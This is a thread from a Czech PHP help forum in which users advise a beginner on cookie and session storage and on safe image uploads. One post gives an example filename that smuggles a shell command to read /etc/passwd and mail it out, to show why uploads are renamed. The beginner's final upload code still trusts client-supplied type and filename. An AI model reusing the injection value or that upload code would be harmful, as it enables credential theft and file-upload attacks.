Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Což takhle
dát si Lopuch?

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: wnbvcbm
[ 1843 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
huh huh 12.5.2012 15:33  3253
ja bych:
1) ze jmena souboru bez pripony vyhazel cokoli krome [a-zA-Z-_]+
2) podle neceho jako exif_imagetype urcil typ a bud pridal odpovidajici priponu nebo ho zahodil (nepodporovane typy)
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 13:46 - Oblíbené kluby (21:47) 3252
napsal jsem to tedy nakonec takto:
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}


themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 10:38  3251
(Dnešní implementace všeho možného by už snad s tímhle problémy mít neměly, ale proč to nechávat na náhodě...)
themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 10:37  3250
IMHO abys předešel případným následkům názvů typu
`cat /etc/passwd | mailx hajzlik@nasiti`.jpg
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 10:34 - Oblíbené kluby (21:47) 3249
makovec [3248]:
dík
doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

proč?

Přejmenovat je mohu, resp, přiřadit třeba šestimístný kód z náhodných čísel, aby se zabránilo přepsání souborů stejných názvů ...

Je nějaký jiný důvod tohoto doporučení?
makovec makovec Chuck Norris snědl jídlo od Babicy - a ještě si přidal 11.5.2012 10:27  3248
urcite si tam hlidej jednak aby prochazely jen obrazky, dal si tam prihod jen seznam povolenych koncovek a aby se ti nedalo podstrcit neco co konci .jpg.php. plus bych doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 10:04 - Oblíbené kluby (21:47) 3247
upload souborů
uploaduji obrázky pomocí formuláře a html/php:



<form enctype="multipart/form-data" action="[[~[[*id]]]]" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="300000" />
<input name="soubor" type="file" />
<input type="submit" value="Send File" />
</form>

<?php
$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_p = "images/$soubor_name";
move_uploaded_file($tmpName, $soubor_name_p);
?>



kód funguje
není tam podle vás nějaká zásadní chyba? (třeba z hlediska zabezpečení ...)
se svýma znalostma programování si samozřejmě nemohu nic takového uvědomovat ...

Děkuji.

P.S.: bude se jednat pouze o upload obrázků (jpg, png, gif) a do max. velikosti cca 300kB
jak tam dát nějaký filtr?
hippotame 7.5.2012 14:39  3246
Takze fakt jen toto ?
session_start ();
$defX = 4;
$defY = 3;
$_SESSION ['tab_x'] = ( isset ( $_POST ['gal_tab_x'] ) ? $_POST ['gal_tab_x'] : ( ! empty ( $_SESSION ['tab_x'] ) ? $_SESSION ['tab_x'] : $defX ) );
$_SESSION ['tab_y'] = ( isset ( $_POST ['gal_tab_y'] ) ? $_POST ['gal_tab_y'] : ( ! empty ( $_SESSION ['tab_y'] ) ? $_SESSION ['tab_y'] : $defY ) );

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 13:04 - Oblíbené kluby (21:47) 3245
knedle [3244]:
dík
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

tohle vím

rozhodl jsem se oba způsoby uchování hodnot vyzkoušet, abych si to "ošahal" v praxi

ad
session_register
zkusím to odebrat, co to udělá
já myslel že již není nutné
session_start();
knedle knedle online - Krabice živých 7.5.2012 12:59  3244
jen pro info: (zjednodušeně)
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

a mám ten pocit, že session_register není už dlouho třeba
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 10:56 - Oblíbené kluby (21:47) 3242
nebo takto

session_register('tabu_x');
session_register('tabu_y');

$x = 4;
if (isset($_POST['gal_tab_x'])) {$x = $_POST['gal_tab_x']; $_SESSION['tabu_x'] = $x;}
if(!isset($_SESSION['tabu_x'])) {$_SESSION['tabu_x'] = $x;}

$y = 3;
if (isset($_POST['gal_tab_y'])) {$y = $_POST['gal_tab_y']; $_SESSION['tabu_y'] = $y;}
if(!isset($_SESSION['tabu_y'])) {$_SESSION['tabu_y'] = $y;}


puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 10:42 - Oblíbené kluby (21:47) 3241
huh [3239]:
dík, kouknu na to

poslal jsem příspěvek souběžně s Tvým
co použití těch SESSION ?
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 10:40 - Oblíbené kluby (21:47) 3240
tohle už začíná trochu fungovatpodle mých představ:

session_register('tabu_x');
session_register('tabu_y');

if (!isset($_POST['gal_tab_x'])) {$x = 4;}
else { $x = $_POST['gal_tab_x']; $_SESSION['tabu_x'] = $x;}
if(!isset($_SESSION['tabu_x'])) {$_SESSION['tabu_x'] = $x;}

if (!isset($_POST['gal_tab_y'])) {$y = 3;}
else { $y = $_POST['gal_tab_y']; $_SESSION['tabu_y'] = $y;}
if(!isset($_SESSION['tabu_y'])) {$_SESSION['tabu_y'] = $y;}
huh huh 7.5.2012 10:40  3239
Píšu z hlavy, možná blbě :-)
$x = 4;
if (isset($_POST['gal_tab_x'])) { // formular byl poslan, menime hodnotu
  $x = (int)$_POST['gal_tab_x'];
  if ($x >= 2 and $x <= 6) { // je-li platna
    setcookie('tabulka_x', $x);
  }
} elseif (isset($_COOKIE['tabulka_x'])) {
  $x = (int)$_COOKIE['tabulka_x'];
  if ($x < 2 or $x > 6) { // neni-li platna
    $x = 4;
  }
}
a pri cteni
$tx = 4;
if (isset($_COOKIE['tabulka_x'])) {
  $tx = (int)$_COOKIE['tabulka_x'];
  if ($tx < 2 or $tx > 6) { // neni-li platna
    $tx = 4;
  }
}
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 10:11 - Oblíbené kluby (21:47) 3238
zase se plácám v "jednoduchém" problémuna jedné stránce s formulářem chci zvolit rozměr tabulky, který bude platný i na jiných stránkách webu (po celou dobu, kdy uživatel bude na stránkách či nezrestartuje prohlížeč)

určitá hodnota bude výchozí (například 4)
uživatel bude moci zvolit mezi 2,3,4,5,6

potřebuji aby zvolená proměnná zapamatována



zkouším něco jako:

if (!isset($_POST['gal_tab_x'])) {$x = 4;}
else { $x = $_POST['gal_tab_x'];}
if(isset($_COOKIE['tabulka_x'])) {setcookie ('tabulka_x', $x);}

nebo
if (!isset($_POST['gal_tab_x'])) {$x = 4;}
else { $x = $_POST['gal_tab_x'];}
if(!isset($_COOKIE['tabulka_x'])) {setcookie ('tabulka_x', $x);}

nebo
if(!isset($_COOKIE["tabulka_x"])) {setcookie ("tabulka_x", 4);}
else {$x = $_POST['gal_tab_x']; setcookie ("tabulka_x", $x);}

ale pořád to není ono.
Když se vrátím na stránky s volbou hodnoty, tak je ta v cookies přepsána tou výchozí

při použítí na stránce proměnné volám:
$tx = $_COOKIE['tabulka_x'];
$ty = $_COOKIE['tabulka_y'];


Potřebuji trochu popostrčit (či nakopnout) jakou techniku mám použít.
A možná také že místo cookies použít sessions či globals ... nevím

[ 1843 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt